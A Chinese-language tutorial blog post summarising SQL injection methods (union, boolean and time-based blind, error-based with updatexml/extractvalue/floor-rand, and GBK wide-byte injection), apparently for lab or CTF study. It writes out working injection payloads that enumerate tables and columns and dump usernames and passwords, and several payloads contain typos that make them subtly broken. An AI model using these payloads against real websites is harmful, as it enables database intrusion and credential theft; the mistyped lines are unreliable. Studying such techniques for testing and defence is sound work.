SQL注入系列总结一

以你之姓@ 2023-10-01 20:11 25阅读 0赞

## 前言 ##

> SQL注入的危害：  
> (1).数据库信息泄露，数据库中存放用户的信息隐私数据的泄露  
> (2).服务器被远程控制，被安装后门

--------------------

### 文章目录 ###

*   *  前言
     *  一.union注入
     *  二.布尔盲注
     *  三.时间盲注
     *  四.DNSlog盲注
     *  五.报错注入
     *  六.宽字节注入

--------------------

## 一.union注入 ##

> unionm注入：使用联合查询进行注入的前提是我们要进行的页面必须有显示位，所谓联合查询注入即是使用union合并两个或者多个select语句的机构集

1.先判断是否注入  
2.再判断注入类型：字符型 / 数字型 / 搜索型  
3.通过order by 进一步判断字段数（列数）  
4.通过order by 判断出列数过后，再进一步在显示位替换成一些mysql的函数  
5.接下来即使取当前库中的表

union select 1,group_concat('</br>',table_name),3 from information_schema.tables where table_schema=database() %23

6.取到表后，再取表中字段

union select 1,group_concat('</br>',column_name),3 from information_schema.columns where  table_schema=database() and table_name='users' %23

7.取数据

union select 1,group_concat('</br>',username),group_concat('</br>',password) from users %23

--------------------

## 二.布尔盲注 ##

> 布尔盲注：web页面的返回值都是true或false，所以布尔忙注就是注入后根据页面返回值来得到数据库的一种办法  
> 使用场景：  
> (1)union注入用不了，没有显示位置  
> (2)只能根据页面是否返回true或false来判断是否被带入查询

1.先判断是否存在注入  
2.再判断注入类型：字符型 / 数字型 / 搜索型  
3.判断能使用的注入方法，这里不能使用union注入  
 `?id=1' and 1=1 %23` 页面回显正常  
 `?id=1' and 1=2 %23` 页面回显不正常  
 证明存在盲注  
4.首先获取数据库名称的长度

?id=1' and (length(database)>n) %23

注：只有length>n成立时，页面才回显正常，即可判断名称长度  
5.接下来数据库的名称

?id=1 and (ord(substr(database(),1,1))>n) %23

(1)substr函数从database()(第一个参数)取字母，从第一个字符开始取，取一位  
 (2)ord函数将取到的字符转换成相应的数字(根据ascll表)，然后判断大小，找出字符  
 (3)取数据库名称第二位只需要更改subsrt函数开始截取的位置就可  
 (4)可利用burp intruder 模块进行遍历，找出数字n  
6.接着跟上面的步骤，获取表的数量

?id=1' and (select count(*) from information_schema.tables where table_schema=database)>n --+

7.获取表的长度，后面依次类推

?id=1' and (ord(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1))>n) --+

--------------------

## 三.时间盲注 ##

> 时间盲注：当布尔注入没有结果(页面显示正常)的时候，我们很难判断注入的代码是否被执行，也就是说到底有没有这个注入点，这时布尔盲注就没办法发挥，基于时间的盲注便应运而生，根据web页面的反应时间来判断  
> 使用场景：union注入用不了，布尔盲注也用不了

前面两步骤相同  
1.判断能使用的注入方法，这里不能使用union注入和布尔盲注  
 `?id=1' and 1=1 %23` 页面回显正常  
 `?id=1' and 1=2 %23` 页面回显不正常  
 `?id=1' and sleep(5) %23` 发现页面延迟了5秒响应，证明sleep被带入到数据库做了查询，所以存在时间盲注  
2.首先获取数据库名称的长度  
 注：if(step1,step2,step3)函数，先执行step1，若step1正确，继续执行step2，直到结束，若step1错误，结束if函数  
 `?id=1' and if((length(database())>7),sleep(5),1) %23` 延时5秒  
 `?id=1' and if((length(database())>8),sleep(5),1) %23` 不延时5秒  
 说明数据库名称长度为7位  
3.获取数据库的名称

?id=1' and if((ord(substr(database(),1,1)>n),sleep(1),1) %23

注：大于114，不大于115，说明当前使用的数据库名称第一位的ascll值为115，所以查看ascll表得知为字符S  
4.获取表的数量

?id=1' and if((select count(*) from information_schema.tables where table_schema=database)>n,sleep(5),1) %23

5.获取后面替换step1就行了，依次寻找表名字，字段，，

--------------------

## 四.DNSlog盲注 ##

参考文章：[DNSlog注入][DNSlog]

--------------------

## 五.报错注入 ##

> 报错注入就是利用数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误的信息中，这种方法在联合查询受限并且能返回错误信息的情况下比较好用，毕竟用盲注的话既耗时又容易被封。报错注入也称为公式化注入

1.报错利用函数：updatexml()  
 payload：

?id=1' and (updatexml(1,concat(0x7e,(select usrs()),0x7e),1));--+

(1)其中 0x7e 是ascii 编码，解码为 ~  
 (2)updatexml是更新xml文档的函数  
 (3)函数语法：updatexml(目标xml文档，xml路径，更新内容)  
 (4)第二个参数是xml路径，要符合xpath语法的字符串，xml文档zhong查找字符串的位置是用/xx/xx…这种格式，如果写入其他格式会报错  
 (5).更改select users()位置的语句即可查询其他信息  
2.报错利用函数：extractvalue()  
 payload:

?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+

析：extractvalue()函数跟updatexml类似，后续的报错注入步骤同updatexml()  
3.报错利用函数  
 payload：

?id =1' and (select 1 from (select count(*),concat(user(),floor()rand(0)*2))x from information_schema.tables group by x)a --+

析：主要利用的原理是主键重复，因为floor(rand(0)\*2)的重复性，导致group by 语句出错  
4.以上是常用的三个报错注入函数，还有更多的报错注入函数利用可参见[参考文章][Link 1]

--------------------

## 六.宽字节注入 ##

> 宽字节注入是SQL注入的一种场景，因为gbk编码方式需要两个ascii组合来解码，所以很形象的叫宽字节  
> 原理：当传递一个参数 id=1’ 的时候，当我们输入这个单引号，会被认为是非法字符，会被过滤函数添加 “ \\ ” 给过滤，所以我们想要程序接受我们传递的参数中包含单引号，那么就需要把这个转义字符“ \\ ”干掉，当http协议传输的时候，是要经过url编码的，如果这个编码完成，传递到服务器时，我们可以在单引号前加上一个 %81 这样的编码，最后这样解码的时候，这个 %81 就会和 “ \\ ” 对应的编码相结合按照gbk编码要求去解码，最后只剩下单引号（根据GBK 编码表，两个 ‘\\’ 被解码成 ‘乘’ ）

条件：  
 (1)数据库查询设置为GBK编码  
 (2)使用了addslashes()，mysql\_real\_escape\_string，mysql\_escape\_string()之类的函数  
payload:  
 (1)?id=1’ 加单引号被转义，前面多了个‘\\’  
 (2)`?id=1%81'` 单引号前面加一个%81，构成宽字节，报错了，可见转义过后的 \\ 被吃掉了，后面就是常规注入方式了  
 如：`?id=1%81' and 1=2 --+` 回显不正常  
 如：`?id=1%81' order by 3 --+` 回显正常  
 如：`?id=1%81' and 1=2 union select 1,2,3 --+`  
 这里都可以用union注入和报错注入

--------------------

[DNSlog]: https://blog.csdn.net/weixin_44032232/article/details/109262724?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164585549816781685380117%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164585549816781685380117&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-109262724.pc_search_insert_ulrmf&utm_term=dnslog%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187
[Link 1]: https://blog.csdn.net/whatday/article/details/63683187